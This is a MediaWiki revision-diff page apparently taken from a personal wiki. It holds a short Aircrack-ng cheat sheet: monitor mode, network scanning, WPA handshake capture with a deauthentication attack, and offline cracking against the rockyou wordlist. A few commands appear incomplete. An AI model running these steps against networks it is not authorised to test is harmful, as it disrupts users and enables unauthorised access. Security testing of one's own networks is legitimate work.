Difference between revisions of "Aircrack-ng"

From Bitnami MediaWiki
Jump to navigation Jump to search
 
Line 1: Line 1:
 
==Basics==
 
==Basics==
−
1. Start the interface
+
1. Start the interface in monitor mode
 
  airmon-ng start <wlan1 or iface name>
 
  airmon-ng start <wlan1 or iface name>
  

Latest revision as of 16:50, 7 January 2024

Basics[edit]

1. Start the interface in monitor mode

airmon-ng start <wlan1 or iface name>

2. Check for local networks

airodump-ng <network iface> 

3. Isolate a specific AP

airodump-ng <network iface> --bssid <AP MAC address or ESSID>

4. Capture handshake packets

airodump-ng -c <channel> --bssid <AP> <network iface> -w <path> 

The run de-auth attack:

aireplay-ng -a <BSSID of AP> --deauth 

Check airodump scan. You should see `WPA handshake: <MAC addr>`. Once verified, stop replay attack and `airodump-ng` scan.

5. Try to find a match:

aircrack-ng -01.cap -w /usr/share/wordlists/rockyou.txt